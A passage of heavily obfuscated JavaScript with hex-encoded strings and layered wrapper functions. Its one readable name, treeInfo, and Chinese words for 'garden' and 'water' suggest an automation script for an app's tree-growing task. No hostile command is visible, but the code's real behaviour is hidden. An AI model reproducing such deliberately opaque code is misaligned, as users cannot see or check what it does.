-0xfc,_0x3178ff-0x10c,_0x101f42-0x148,_0x3178ff,_0x3730a8-0x3b);}_0x3d8c8[_0x350a16(0xc56,'\x76\x25\x48\x64',0x1400,0xea8,0x8a0)](_0x5bd475[_0x303a7a('\x53\x41\x31\x35',0x8da,0x91,0xa57,0x543)],-0x16e9+-0x20ab*-0x1+-0x9c2)?_0xb688e5=_0x3d8c8[_0x196793(0x650,'\x47\x28\x51\x45',0x37,0x856,0x40c)](_0x3d8c8[_0x2d4721(0x848,'\x33\x2a\x64\x68',0x49d,-0x298,0x497)](_0x5bd475[_0x196793(0x116a,'\x5a\x30\x31\x38',0xfcc,0xf2d,0x1480)],_0x3d8c8[_0x2cd276('\x6d\x57\x5a\x29',0x1116,0xbf3,0x146e,0xdd1)]),_0x5bd475[_0x2cd276('\x4f\x40\x44\x71',0x552,0x9c4,0x829,0xd66)+'\x74'][_0x303a7a('\x32\x49\x5b\x49',0x1f5,0x8ae,0x346,0x3d1)+_0x196793(0x1299,'\x42\x23\x5e\x5b',0x18a6,0x155c,0x1173)]):_0xb688e5=_0x5bd475[_0x2d4721(0xbcf,'\x76\x78\x62\x62',0x11ed,0xf96,0xbce)];function _0x2cd276(_0x5186bb,_0x2094c9,_0x32f907,_0x23515c,_0x3c26a9){return _0x5a496a(_0x5186bb,_0x2094c9-0x9f,_0x32f907-0x72,_0x2094c9-0x49,_0x3c26a9-0x28);}function _0x2d4721(_0x31427f,_0x35824a,_0x382e7e,_0x362cc7,_0x406534){return _0xb17477(_0x35824a,_0x382e7e- -0x194,_0x382e7e-0x44,_0x362cc7-0xc8,_0x406534-0x62);}console[_0x350a16(0x926,'\x4a\x61\x70\x57',0x354,0x88a,0x171)](_0x3d8c8[_0x2d4721(0x11a6,'\x4f\x4f\x25\x29',0xbdc,0x7c1,0xeb3)](_0x3d8c8[_0x2cd276('\x6d\x5e\x6e\x43',0x692,0xba5,-0x25e,0xab2)](_0x3d8c8[_0x2d4721(0xdac,'\x6d\x5e\x6e\x43',0xd0b,0x7ed,0x15bb)](_0x3d8c8[_0x2d4721(0xf9a,'\x35\x37\x26\x25',0x674,0xc98,0xec8)],_0xa85e58[_0x196793(0x1368,'\x29\x52\x4b\x66',0x76d,0xc30,0xf49)+_0x2d4721(0x1388,'\x36\x70\x67\x64',0xdcf,0x7e7,0x15fc)]),'\u3011\x3a'),_0xb688e5));});}}_0x4478cd[_0x5a496a('\x6d\x57\x5a\x29',0xe7,0xca1,0x736,0x4fe)](_0xf5c5b3);}catch(_0x41ef26){console[_0x5a496a('\x41\x43\x59\x76',0x78a,0xc7e,0xdc3,0xd34)](_0x4478cd[_0xb17477('\x41\x43\x59\x76',0x1551,0x190d,0x11dd,0x19d6)](_0x4478cd[_0x379b5e(0xedf,0x67e,0x1817,'\x62\x77\x6a\x54',0xcb8)],_0x41ef26)),_0x4478cd[_0x5a496a('\x5a\x30\x31\x38',0x172e,0x12d7,0x11fb,0x984)](_0xf5c5b3);}});}function _0x333f48(_0x1124fd,_0x1098b5,_0x3d9084,_0x49ce26,_0x358296){return _0x4699(_0x3d9084-0x376,_0x1124fd);}async function treeInfo(_0x48097e){function _0x4b28e9(_0x17848a,_0x158fb8,_0xb7d02a,_0x47c2f6,_0x1eeb92){return _0x43f741(_0x1eeb92- -0x1a2,_0x158fb8-0xef,_0x47c2f6,_0x47c2f6-0x1e9,_0x1eeb92-0x1eb);}function _0x26e21d(_0xa2846b,_0x25383e,_0x28c45d,_0x5160ef,_0x4b0bd5){return _0xdd0bc1(_0x25383e- -0x119,_0x25383e-0x1e7,_0x5160ef,_0x5160ef-0xa7,_0x4b0bd5-0xdd);}function _0x264322(_0x3047bf,_0x1e8189,_0x47c277,_0xf8324a,_0x4b2ff8){return _0x353885(_0xf8324a,_0x1e8189-0x1c0,_0x47c277-0xb4,_0xf8324a-0xc1,_0x4b2ff8- -0x298);}function _0x424e1d(_0x36c7de,_0x39e477,_0xcbdd84,_0x3cfb1d,_0xce2e8a){return _0xdd0bc1(_0x36c7de-0x24d,_0x39e477-0x14d,_0xce2e8a,_0x3cfb1d-0xd7,_0xce2e8a-0xb8);}function _0x18eff3(_0xc59d2a,_0x4f901a,_0x1ebbe2,_0x31c15a,_0x4587a9){return _0xdd0bc1(_0x4587a9- -0x120,_0x4f901a-0xc6,_0x4f901a,_0x31c15a-0xc,_0x4587a9-0x8f);}const _0x2d09ea={'\x4e\x79\x49\x76\x7a':function(_0x442b63,_0x53d32f){return _0x442b63==_0x53d32f;},'\x63\x62\x42\x71\x43':function(_0x7b1cf,_0x4d1918){return _0x7b1cf-_0x4d1918;},'\x79\x67\x42\x6e\x6f':function(_0x5e9665,_0x38f97b){return _0x5e9665+_0x38f97b;},'\x70\x53\x48\x58\x54':function(_0xac6ba,_0x274463){return _0xac6ba*_0x274463;},'\x63\x78\x70\x5a\x75':function(_0x3f8fb4,_0x1b9b02){return _0x3f8fb4<_0x1b9b02;},'\x51\x76\x6c\x63\x42':function(_0x2817e2,_0x681a77){return _0x2817e2==_0x681a77;},'\x6b\x68\x52\x4b\x43':_0x264322(0x1103,0x1839,0x19e6,'\x65\x54\x72\x35',0x110e)+_0x264322(0x871,0x191,-0x33e,'\x63\x66\x74\x31',0x11c),'\x4f\x51\x5a\x66\x78':_0x4b28e9(0x670,0x5fd,0x8b3,'\x78\x45\x43\x4d',0xad2)+_0x26e21d(0x8f0,0x5f4,0x978,'\x5a\x30\x31\x38',0xac),'\x75\x61\x44\x69\x74':_0x424e1d(0x5a7,0x880,0xc48,-0xbe,'\x6d\x5e\x6e\x43')+'\u56ed','\x4c\x61\x4e\x6d\x6f':function(_0xeefedf,_0x3a0170){return _0xeefedf+_0x3a0170;},'\x4a\x59\x57\x79\x70':_0x424e1d(0x369,-0x59c,0xc1,-0x2b,'\x63\x66\x74\x31'),'\x44\x50\x4f\x47\x57':function(_0x793a2c,_0x48383f){return _0x793a2c+_0x48383f;},'\x6d\x70\x57\x77\x52':function(_0x2f7382,_0x1df102){return _0x2f7382+_0x1df102;},'\x55\x6b\x4e\x42\x78':_0x18eff3(0xb16,'\x66\x66\x76\x75',0x5f8,-0x16e,0x583),'\x46\x53\x54\x65\x44':_0x26e21d(0x1b,0x11b,-0x243,'\x78\x56\x67\x4f',-0x10c)+_0x4b28e9(0x974,0x451,0x3f4,'\x6b\x5e\x4e\x4d',0x6ff),'\x49\x78\x59\x50\x4d':function(_0x4ec8e8,_0x4c52c5){return _0x4ec8e8>_0x4c52c5;},'\x72\x5a\x5a\x6f\x67':function(_0x976f04,_0x307572){return _0x976f04+_0x307572;},'\x41\x71\x44\x65\x4b':function(_0x351ad8,_0x12eafa){return _0x351ad8+_0x12eafa;},'\x45\x78\x67\x72\x62':function(_0x4b5aa6,_0x3f996c){return _0x4b5aa6+_0x3f996c;},'\x4f\x49\x4c\x51\x65':function(_0x359db7,_0x5387d1){return _0x359db7+_0x5387d1;},'\x64\x64\x72\x6b\x47':function(_0x5cdcc7,_0xbb01ef){return _0x5cdcc7+_0xbb01ef;},'\x41\x6c\x6d\x63\x53':function(_0x1246f4,_0x116ed8){return _0x1246f4+_0x116ed8;},'\x71\x69\x42\x47\x6f':_0x26e21d(0x178f,0x1076,0x9b2,'\x62\x77\x6a\x54',0x133a),'\x74\x49\x68\x5a\x68':_0x4b28e9(0x838,0x192c,0x1085,'\x50\x21\x6c\x48',0x114f),'\x5a\x50\x44\x72\x68':_0x18eff3(0x6a8,'\x76\x78\x62\x62',0x9d6,0xf07,0xffa)+'\u6c34','\x67\x6f\x5a\x78\x75':_0x26e21d(-0x509,0x414,0x9cb,'\x36\x57\x6b\x69',0xc9b),'\x4a\x54\x42\x4b\x4c':function(_0x13ab42,_0x2ea051){return _0x13ab42+_0x2ea051;},'\x4d\x45\x73\x69\x7a':function(_0x597cfe,_0x16d66f){return _0x597cfe+_0x16d66f;},'\x78\x77\x4f\x42\x79':function(_0x228d19,_0x7f1d36){return _0x228d19+_0x7f1d36;},'\x56\x6f\x7a\x4a\x72':function(_0x5cb974,_0x382d37){return _0x5cb974+_0x382d37;},'\x78\x69\x7a\x57\x47':function(_0x57b325,_0x44ad44){return _0x57b325+_0x44ad44;},'\x4f\x75\x6c\x4b\x5a':function(_0x13c496,_0x14bcd1){return _0x13c496+_0x14bcd1;},'\x4e\x75\x4d\x77\x42':function(_0x20d3b3,_0x1f215a){return _0x20d3b3+_0x1f215a;},'\x6b\x75\x46\x48\x4e':function(_0x4ce5cc,_0x40c20c){return _0x4ce5cc+_0x40c20c;},'\x49\x49\x4a\x6b\x46':_0x26e21d(0x25e,-0x9e,0x7a8,'\x50\x21\x6c\x48',0x720),'\x6f\x42\x62\x4d\x65':function(_0x2c3f11){return _0x2c3f11();},'\x7a\x6e\x49\x4a\x4f':function(_0x66a191,_0x43e6e5,_0x1858d7){return _0x66a191(_0x43e6e5,_0x1858d7);},'\x76\x56\x4c\x6b\x78':function(_0x117693,_0x15553a){return _0x117693+_0x15553a;},'\x79\x78\x50\x4d\x77':function(_0x16832e,_0xbd8036){return _0x16832e+_0xbd8036;},'\x54\x72\x6b\x58\x48':_0x4b28e9(-0x48c,0x6f4,0x51e,'\x47\x38\x4e\x52',0x3da)+_0x18eff3(0xc99,'\x53\x41\x31\x35',0x5d3,0xedb,0xadc)+_0x4b28e9(0x952,0x171b,0x198e,'\x4e\x54\x74\x26',0x1071)+_0x26e21d(0x410,0x105,-0x7e2,'\x57\x73\x5d\x21',0xa3e)+_0x4b28e9(0x8a9,0x7e3,0xa57,'\x24\x63\x6f\x37',0xeb7)+_0x424e1d(0x3e6,0x370,0x956,-0x460,'\x32\x49\x5b\x49')+_0x4b28e9(0x19fa,0xf42,0x1428,'\x53\x41\x31\x35',0x1257)+_0x264322(0x407,0x751,0x2da,'\x77\x40\x43\x59',0x97c),'\x6c\x59\x41\x52\x6f':_0x26e21d(0x604,0x75b,0x8e6,'\x65\x54\x72\x35',0xba2)+_0x424e1d(0x3a8,0x45a,0x718,-0xc7,'\x63\x66\x74\x31')+_0x26e21d(0x485,0xc56,0xf70,'\x53\x34\x6c\x29',0x544)+_0x424e1d(0xda5,0xcf0,0x14a5,0xd37,'\x29\x52\x4b\x66')+_0x26e21d(-0x1cc,0x169,-0x275,'\x36\x57\x6b\x69',0x3bc),'\x56\x6a\x73\x4a\x42':function(_0x19c712,_0x3ba576){return _0x19c712+_0x3ba576;},'\x6f\x58\x46\x53\x45':function(_0x1a3a53,_0x231590){return _0x1a3a53+_0x231590;},'\x75\x73\x63\x5a\x75':function(_0x2b2ac8,_0x6a88cd){return _0x2b2ac8+_0x6a88cd;},'\x45\x46\x57\x47\x76':function(_0xc31a6c,_0x2cf91c){return _0xc31a6c+_0x2cf91c;},'\x43\x43\x7a\x77\x78':function(_0x299790,_0x59801a){return _0x299790+_0x59801a;},'\x67\x56\x4c\x41\x7a':function(_0x4c3f73,_0x46fda4){return _0x4c3f73+_0x46fda4;},'\x58\x6b\x6b\x46\x74':_0x26e21d(0x12f9,0xd7c,0x77b,'\x66\x66\x76\x75',0x1682)+_0x264322(0xa3c,0x14e9,0x7da,'\x57\x38\x4f\x70',0xd17)+_0x18eff3(0x1355,'\x63\x66\x74\x31',0x6ea,0x1175,0xf30)+_0x26e21d(0x34a,0x7bb,0xaf6,'\x32\x49\x5b\x49',0xb9c)+_0x18eff3(0xa08,'\x6b\x5e\x4e\x4d',-0x174,0x631,0x6d6)+_0x4b28e9(0xaaa,0x10c1,0xe75,'\x45\x33\x6b\x40',0x116b)+_0x18eff3(0xe21,'\x4a\x61\x70\x57',0x899,0x47a,0x81a)+_0x424e1d(0x147c,0x161b,0x133f,0x14dd,'\x76\x25\x48\x64')+_0x424e1d(0x6cf,0x554,0xcc4,0xae,'\x47\x28\x51\x45')+_0x264322(0x1712,0x1972,0x182f,'\x53\x34\x6c\x29',0x136f)+_0x264322(0x39f,0x394,0xd6b,'\x29\x52\x4b\x66',0xc6c)+_0x26e21d(0x1150,0xe34,0x89d,'\x62\x77\x6a\x54',0x165f)+_0x18eff3(-0x738,'\x5d\x78\x21\x39',0x2a1,-0x8f,0x1b5)+_0x264322(0xd06,-0x40b,0xa82,'\x6b\x59\x6b\x44',0x502)+_0x264322(0x555,0x523,0xf3c,'\x6e\x70\x4f\x48',0x5e0)+_0x264322(0xc1e,0x7a0,0x89,'\x76\x78\x62\x62',0x911)+_0x18eff3(0x2b7,'\x35\x37\x26\x25',0x11b,-0x9db,-0xec)+_0x26e21d(0x90d,0xb3d,0xdaa,'\x6d\x57\x5a\x29',0xafd),'\x42\x66\x62\x62\x4d':_0x264322(0x544,0x3d6,0x655,'\x29\x52\x4b\x66',0x3ac)+_0x26e21d(0x122e,0xba3,0xf26,'\x4f\x4f\x25\x29',0x35a)+_0x18eff3(0x863,'\x78\x45\x43\x4d',0x162b,0x1800,0x1127)+_0x26e21d(0x1a0b,0x11ad,0x10a4,'\x34\x62\x40\x70',0x9d9)+_0x424e1d(0x3cc,-0x530,0x6c4,0x284,'\x53\x34\x6c\x29'),'\x4f\x41\x43\x41\x4f':_0x26e21d(0x7bf,0x10ec,0xeba,'\x32\x49\x5b\x49',0x1649)+_0x4b28e9(-0x52c,-0x552,0x88f,'\x52\x7a\x58\x2a',0x2be)+_0x4b28e9(0x977,0x67d,0x777,'\x53\x34\x6c\x29',0x387)+_0x264322(0x40e,0x7c2,0xad9,'\x53\x34\x6c\x29',0x5b4),'\x6b\x79\x6c\x49\x6e':_0x18eff3(0x6ba,'\x47\x38\x4e\x52',-0x64d,-0x2ea,-0x3b)+_0x424e1d(0x428,-0x48f,0x785,0xc5f,'\x4f\x40\x44\x71'),'\x6e\x79\x55\x69\x67':_0x4b28e9(0xce3,0xcf1,0x892,'\x76\x78\x62\x62',0x10e5),'\x47\x70\x75\x5a\x53':_0x18eff3(0xcb8,'\x45\x33\x6b\x40',0xd20,0xf6c,0x10ed)+_0x264322(0x1580,0x15fd,0x1855,'\x52\x7a\x58\x2a',0xf27),'\x4b\x52\x6e\x74\x5a':_0x424e1d(0x2b5,0x220,-0x1f8,0xad3,'\x47\x38\x4e\x52')+_0x26e21d(0x1106,0x7d6,0x1d4,'\x35\x37\x26\x25',0x3bb),'\x4a\x6f\x5a\x75\x47':_0x424e1d(0xd30,0x1325,0x8d6,0x1029,'\x45\x33\x6b\x40')+_0x4b28e9(0x163c,0x17bf,0xf91,'\x53\x34\x6c\x29',0x1277),'\x64\x6e\x42\x4d\x4e':_0x4b28e9(0x74e,0xea0,0x162b,'\x53\x28\x21\x51',0xe8b)+_0x26e21d(0x138b,0xf48,0x13c5,'\x6d\x57\x5a\x29',0x17a1)+_0x18eff3(0xd65,'\x66\x66\x76\x75',0x1773,0x130b,0xf58)+_0x18eff3(0x348,'\x6d\x5e\x6e\x43',0x441,0x1328,0xaf2)+_0x18eff3(0xd7c,'\x65\x54\x72\x35',0x9d8,0xaaf,0x538)+_0x264322(0xd4c,0x8f5,0x62a,'\x24\x6e\x5d\x79',0xf66)+_0x18eff3(0x121e,'\x77\x40\x43\x59',0x1683,0xa1a,0x103e)+_0x26e21d(0x682,0x407,-0x336,'\x78\x45\x43\x4d',0x465)+_0x4b28e9(0xada,0x1555,0x17c8,'\x47\x28\x51\x45',0x1147)+_0x18eff3(0x120e,'\x36\x6c\x21\x41',0xbeb,0x14eb,0xd1d)+_0x18eff3(-0x5b0,'\x53\x78\x42\x55',0x6e9,-0x6e3,0x29)+_0x4b28e9(0x28b,-0x139,0xf9b,'\x4f\x40\x44\x71',0x70e)+_0x4b28e9(0x1951,0x10c4,0xb62,'\x42\x23\x5e\x5b',0x1170)+_0x424e1d(0x9e2,0xf46,0x1015,0x91,'\x46\x6f\x5e\x6c')+_0x424e1d(0x543,0x236,0x9c,0x9a3,'\x63\x66\x74\x31')+_0x18eff3(0x275,'\x46\x6f\x5e\x6c',0x35a,-0x4d9,0x1db)+_0x424e1d(0x1516,0x1c66,0x1786,0x1b1c,'\x50\x21\x6c\x48')+_0x264322(0xf43,0x10e4,0x14de,'\x5d\x78\x21\x39',0xbb2)+_0x424e1d(0x4ee,-0x44a,0x7c7,0x4f7,'\x65\x54\x72\x35')+_0x26e21d(0x13db,0xfd8,0x1793,'\x50\x21\x6c\x48',0xb06)+_0x4b28e9(-0x3d1,0xa48,0xb3b,'\x5d\x5d\x4d\x42',0x2a5),'\x70\x4d\x5a\x4f\x41':_0x18eff3(0xe16,'\x62\x77\x6a\x54',0xd3e,0xd8e,0x7bf)+_0x26e21d(0x564,0x753,0xe07,'\x5d\x78\x21\x39',0xb04)+_0x26e21d(-0x3b0,0x3be,-0x38d,'\x4a\x61\x70\x57',-0x53c),'\x74\x74\x66\x79\x4a':_0x26e21d(0x349,0x701,0x6a,'\x63\x66\x74\x31',0xa2f)+_0x4b28e9(0xdf8,0x13d9,0xbb1,'\x4f\x4f\x25\x29',0x126b),'\x72\x48\x51\x6d\x4f':_0x18eff3(0x38c,'\x63\x66\x74\x31',0x709,0x808,0x5e8)+_0x26e21d(0xd6e,0xd3b,0x41a,'\x46\x6f\x5e\x6c',0x1553)+'\x3d','\x63\x70\x7a\x6c\x56':_0x424e1d(0x14c5,0x1596,0x1218,0x1b3c,'\x57\x38\x4f\x70')+_0x4b28e9(-0x1e9,0x48c,0xbbb,'\x53\x78\x42\x55',0x3c0)+_0x264322(0x6d3,0x9a7,0x1f1,'\x4e\x54\x74\x26',0x4b7)+_0x264322(0x98d,0xecf,0x1021,'\x5d\x5d\x4d\x42',0xc3c)+_0x18eff3(0x677,'\x24\x6e\x5d\x79',0x6ce,0x2ea,0x990)+'\x74','\x68\x4b\x72\x6a\x76':_0x4b28e9(-0x13e,-0x409,0xa4c,'\x35\x37\x26\x25',0x403)+_0x264322(0x595,0xbbe,0xb0d,'\x36\x57\x6b\x69',0x75a)};return new Promise(async _0x168d59=>{function _0x1d6cdb(_0x53ade7,_0x1a822a,_0x866396,_0x2dcf5e,_0x362ef4){return _0x264322(_0x53ade7-0x4f,_0x1a822a-0x89,_0x866396-0x175,_0x866396,_0x53ade7-0x72);}const _0x48b8c3={'\x46\x50\x6e\x74\x44':function(_0x1ee6eb,_0xb08d35){function _0x1dd73b(_0x42c504,_0x576ba8,_0x24fed9,_0x490bca,_0x3b3ffc){return _0x4699(_0x24fed9-0xda,_0x3b3ffc);}return _0x2d09ea[_0x1dd73b(-0x15c,-0x3f2,0x4dc,0xaca,'\x24\x63\x6f\x37')](_0x1ee6eb,_0xb08d35);},'\x44\x79\x75\x56\x45':function(_0x31ab1b,_0x4346b7){function _0x52151b(_0x331239,_0x1d43d8,_0xe09de4,_0x5165a1,_0x2eecaa){return _0x4699(_0xe09de4-0xf4,_0x1d43d8);}return _0x2d09ea[_0x52151b(0x4e8,'\x6b\x59\x6b\x44',0x598,0xbde,0x61)](_0x31ab1b,_0x4346b7);},'\x64\x63\x47\x58\x61':function(_0x1094c6,_0x2dfee3){function _0x4b56aa(_0x5e8cfc,_0x5efe3b,_0x3eebc9,_0x16036a,_0x14573a){return _0x4699(_0x14573a-0x81,_0x3eebc9);}return _0x2d09ea[_0x4b56aa(0x1881,0x1890,'\x46\x6f\x5e\x6c',0x1286,0x116e)](_0x1094c6,_0x2dfee3);},'\x4d\x75\x73\x4e\x65':function(_0x5e500d,_0x576d50){function _0x5ce749(_0x11437d,_0x449ab6,_0x504385,_0x58909d,_0x1e1de3){return _0x4699(_0x1e1de3-0x30a,_0x449ab6);}return _0x2d09ea[_0x5ce749(0x1857,'\x65\x54\x72\x35',0xb44,0x14d5,0xf74)](_0x5e500d,_0x576d50);},'\x46\x6e\x51\x46\x47':function(_0x26f342,_0x2833e0){function _0xc4c013(_0x5bfea7,_0x480e79,_0x2f6f20,_0x4cfcac,_0x7b5b77){return _0x4699(_0x4cfcac- -0x374,_0x5bfea7);}return _0x2d09ea[_0xc4c013('\x4f\x4f\x25\x29',0x789,0x8bd,0x7b,0x6dd)](_0x26f342,_0x2833e0);},'\x71\x67\x41\x67\x4b':function(_0x1221e5,_0x5b915e){function _0x535e37(_0x468bf4,_0x57c454,_0x364dfb,_0x4ab2d2,_0x4febd2){return _0x4699(_0x468bf4-0x1c3,_0x4febd2);}return _0x2d09ea[_0x535e37(0x162b,0x14c8,0x1093,0x15a3,'\x34\x62\x40\x70')](_0x1221e5,_0x5b915e);},'\x5a\x47\x47\x6b\x4d':function(_0x1d628c,_0x110ec3){function _0x294008(_0x4fbeef,_0x2455fa,_0x16f8e5,_0x2dde82,_0x1a26d1){return _0x4699(_0x2455fa- -0x34c,_0x1a26d1);}return _0x2d09ea[_0x294008(0xaf7,0xa1e,0x884,0xf53,'\x76\x25\x48\x64')](_0x1d628c,_0x110ec3);},'\x51\x74\x58\x61\x54':function(_0x107686,_0x1b5500){function _0x26115a(_0xbe26b0,_0x294ebb,_0x1bc434,_0x2aee69,_0x5e2609){return _0x4699(_0x294ebb- -0x280,_0x2aee69);}return _0x2d09ea[_0x26115a(0x55e,0x194,0x3b9,'\x4a\x61\x70\x57',0x9c9)](_0x107686,_0x1b5500);},'\x56\x61\x74\x63\x72':function(_0x27cc0d,_0x206037){function _0x537b9a(_0x3e2ea3,_0x311567,_0x115216,_0x24822f,_0xad10){return _0x4699(_0xad10- -0x24,_0x3e2ea3);}return _0x2d09ea[_0x537b9a('\x62\x77\x6a\x54',0x10e,0xc1b,0xfdd,0x789)](_0x27cc0d,_0x206037);},'\x65\x4e\x65\x56\x52':_0x2d09ea[_0x2d4c74(0x1136,0x1443,'\x53\x78\x42\x55',0x1880,0x10b0)],'\x72\x74\x52\x46\x68':_0x2d09ea[_0x1d6cdb(0x8de,0x173,'\x52\x59\x64\x49',0xcf2,0x8c0)],'\x71\x6f\x6e\x7a\x42':_0x2d09ea[_0x6b8f2f(0x7b8,'\x45\x24\x6c\x69',0xc79,0xaf3,0x124f)],'\x6c\x6c\x61\x79\x4c':function(_0x1fe89d,_0x4d5cad){function _0x2dcf38(_0x56a0d4,_0x5d990a,_0x29a9cb,_0x162370,_0x34c253){return _0x1d6cdb(_0x5d990a- -0x32e,_0x5d990a-0x145,_0x162370,_0x162370-0x13f,_0x34c253-0x43);}return _0x2d09ea[_0x2dcf38(0x7f8,0xdce,0x100b,'\x41\x43\x59\x76',0xc1f)](_0x1fe89d,_0x4d5cad);},'\x55\x68\x46\x4d\x62':function(_0x50687a,_0x2e2153){function _0x20dbd7(_0x3e4845,_0x4eac07,_0x33c1a5,_0x33b863,_0x3ec37f){return _0x1d6cdb(_0x3ec37f- -0x29a,_0x4eac07-0x11a,_0x3e4845,_0x33b863-0x1c7,_0x3ec37f-0xd7);}return _0x2d09ea[_0x20dbd7('\x50\x21\x6c\x48',0xb01,0x695,-0x49e,0x3f7)](_0x50687a,_0x2e2153);},'\x79\x77\x48\x70\x6f':function(_0x3c9ff4,_0x3c7b67){function _0x1e3876(_0x11b4dd,_0x42a981,_0x268fc7,_0x435cd2,_0x238682){return _0x1d6cdb(_0x42a981- -0x1ab,_0x42a981-0xad,_0x238682,_0x435cd2-0x145,_0x238682-0x7);}return _0x2d09ea[_0x1e3876(0x87a,0x510,0x117,0xa92,'\x6e\x70\x4f\x48')](_0x3c9ff4,_0x3c7b67);},'\x45\x58\x4c\x56\x47':function(_0x5bf341,_0x475a3c){function _0x59e414(_0x4cc956,_0x541110,_0x55cad8,_0x5c779e,_0x516090){return _0x6b8f2f(_0x4cc956-0x11e,_0x541110,_0x55cad8-0x157,_0x516090- -0x2e5,_0x516090-0x6d);}return _0x2d09ea[_0x59e414(0xb41,'\x66\x66\x76\x75',0x86d,-0x4a6,0x499)](_0x5bf341,_0x475a3c);},'\x52\x49\x7a\x51\x47':_0x2d09ea[_0x2d4c74(0x765,0xc67,'\x77\x40\x43\x59',-0x51,0x143)],'\x4d\x77\x6a\x41\x4a':function(_0x46fcda,_0x13ff7d){function _0x231cec(_0x565fad,_0x472435,_0xf7ea99,_0x42c8de,_0x2753de){return _0x58266a(_0x565fad-0x187,_0x472435-0x14b,_0xf7ea99-0x1f4,_0x472435-0x129,_0x565fad);}return _0x2d09ea[_0x231cec('\x45\x33\x6b\x40',0x623,0x917,0xed7,0xf80)](_0x46fcda,_0x13ff7d);},'\x74\x71\x42\x68\x5a':function(_0x53d6a5,_0x5a9830){function _0x41eb1a(_0x38b410,_0x2844b5,_0x2ce939,_0x3e0cd3,_0x19a8d7){return _0x58266a(_0x38b410-0x184,_0x2844b5-0x199,_0x2ce939-0x17,_0x2844b5-0x9b,_0x19a8d7);}return _0x2d09ea[_0x41eb1a(0x7fc,0xd76,0x16b6,0xf77,'\x42\x23\x5e\x5b')](_0x53d6a5,_0x5a9830);},'\x6e\x4e\x63\x6f\x42':_0x2d09ea[_0x1d6cdb(0x134f,0xce9,'\x77\x40\x43\x59',0x114b,0x184f)],'\x67\x6d\x56\x76\x6f':_0x2d09ea[_0x6b8f2f(0xe8a,'\x76\x25\x48\x64',0xcf5,0x11f5,0x193a)],'\x66\x64\x7a\x53\x77':function(_0x1007e2,_0x2455e4){function _0x30e4df(_0x17113c,_0x3f2b6c,_0x6df3e7,_0x1d62f4,_0xfebb4e){return _0x2d4c74(_0x1d62f4-0x90,_0x3f2b6c-0x27,_0x6df3e7,_0x1d62f4-0x99,_0xfebb4e-0x0);}return _0x2d09ea[_0x30e4df(0x395,0xa3a,'\x62\x77\x6a\x54',0xae9,0x1401)](_0x1007e2,_0x2455e4);},'\x4f\x73\x55\x65\x4d':function(_0x25e136,_0x56f181){function _0x1aa5e0(_0x4961bd,_0x36a0e7,_0x2284df,_0x551558,_0x52e342){return _0x58266a(_0x4961bd-0x7,_0x36a0e7-0x1f2,_0x2284df-0x115,_0x2284df- -0x285,_0x4961bd);}return _0x2d09ea[_0x1aa5e0('\x4f\x4f\x25\x29',0xf48,0x715,0xf2,0x49f)](_0x25e136,_0x56f181);},'\x6e\x5a\x41\x70\x6b':function(_0x2585d3,_0x1ac118){function _0x1bfae5(_0x1c6b2a,_0x5ab264,_0x2ed6f5,_0x3545f4,_0x406d2f){return _0x58266a(_0x1c6b2a-0x103,_0x5ab264-0x1c3,_0x2ed6f5-0x1a5,_0x2ed6f5- -0x1d2,_0x3545f4);}return _0x2d09ea[_0x1bfae5(0xccd,0x15c0,0x1105,'\x76\x25\x48\x64',0x12b2)](_0x2585d3,_0x1ac118);},'\x51\x68\x69\x41\x57':function(_0x18f3ae,_0x361970){function _0x434f1c(_0x191229,_0x46da7f,_0xbd25a3,_0x3160a1,_0x18c9bf){return _0x2d4c74(_0x191229- -0x3eb,_0x46da7f-0x10e,_0x18c9bf,_0x3160a1-0x65,_0x18c9bf-0x1d1);}return _0x2d09ea[_0x434f1c(0x1c,-0x343,-0x7db,0x5eb,'\x6e\x70\x4f\x48')](_0x18f3ae,_0x361970);},'\x78\x46\x47\x51\x67':function(_0x2bdb45,_0x41ae38){function _0x2a7c10(_0x15dd10,_0x486751,_0x40eb7b,_0x5ef3f3,_0x4ffaa9){return _0x1d6cdb(_0x40eb7b-0x40a,_0x486751-0x2b,_0x5ef3f3,_0x5ef3f3-0xf7,_0x4ffaa9-0x21);}return _0x2d09ea[_0x2a7c10(0x1107,0x190b,0x1016,'\x75\x5d\x54\x4f',0x1868)](_0x2bdb45,_0x41ae38);},'\x51\x57\x70\x4d\x62':function(_0x3ceca7,_0x4dd172){function _0x1424da(_0x25076d,_0x4b023d,_0x49988d,_0x46a1e9,_0x1f24dd){return _0x13010f(_0x25076d-0x16f,_0x4b023d-0x2b,_0x49988d-0xb3,_0x25076d,_0x4b023d-0x244);}return _0x2d09ea[_0x1424da('\x35\x37\x26\x25',0x62f,0xbef,0xdef,-0xca)](_0x3ceca7,_0x4dd172);},'\x75\x6a\x74\x74\x66':function(_0x513a20,_0x407c0e){function _0x46fb46(_0x38c60f,_0xa0915b,_0x3f5935,_0xede9d1,_0x34d690){return _0x13010f(_0x38c60f-0x18,_0xa0915b-0x102,_0x3f5935-0xc8,_0x38c60f,_0xede9d1-0xcf);}return _0x2d09ea[_0x46fb46('\x62\x77\x6a\x54',0xaba,0x16f0,0x1077,0x14e4)](_0x513a20,_0x407c0e);},'\x77\x62\x6d\x67\x47':function(_0x2e1705,_0x37e725){function _0x56a5e9(_0x83bfbb,_0x4603d7,_0xae2f59,_0xdda7b8,_0x570918){return _0x58266a(_0x83bfbb-0x160,_0x4603d7-0x19a,_0xae2f59-0x15a,_0xae2f59-0x1dd,_0xdda7b8);}return _0x2d09ea[_0x56a5e9(0x650,0xb4c,0x78a,'\x45\x33\x6b\x40',-0x42)](_0x2e1705,_0x37e725);},'\x73\x4d\x77\x79\x47':function(_0x50f9f5,_0x16936a){function _0x3f1c16(_0x35ac62,_0x1e188b,_0x5b257a,_0x40a64f,_0x5dd510){return _0x1d6cdb(_0x40a64f- -0x354,_0x1e188b-0x91,_0x5dd510,_0x40a64f-0x1d1,_0x5dd510-0x1c5);}return _0x2d09ea[_0x3f1c16(0xbeb,0x154a,0xdc6,0x10c9,'\x5d\x5d\x4d\x42')](_0x50f9f5,_0x16936a);},'\x66\x57\x5a\x57\x4a':function(_0x2a1d7e,_0x5799ca){function _0xdbf9a8(_0x4d3a59,_0x2f95e6,_0x28ecd4,_0x14563e,_0x2e05d3){return _0x6b8f2f(_0x4d3a59-0x16e,_0x28ecd4,_0x28ecd4-0x8e,_0x4d3a59- -0xe5,_0x2e05d3-0xe9);}return _0x2d09ea[_0xdbf9a8(0x137c,0xca4,'\x4e\x54\x74\x26',0x104e,0x14ff)](_0x2a1d7e,_0x5799ca);},'\x55\x52\x55\x77\x58':function(_0x505ca0,_0x1e5337){function _0x3c1e95(_0x4b16b7,_0xe6904d,_0x4bea94,_0x5a5af2,_0x3a85b4){return 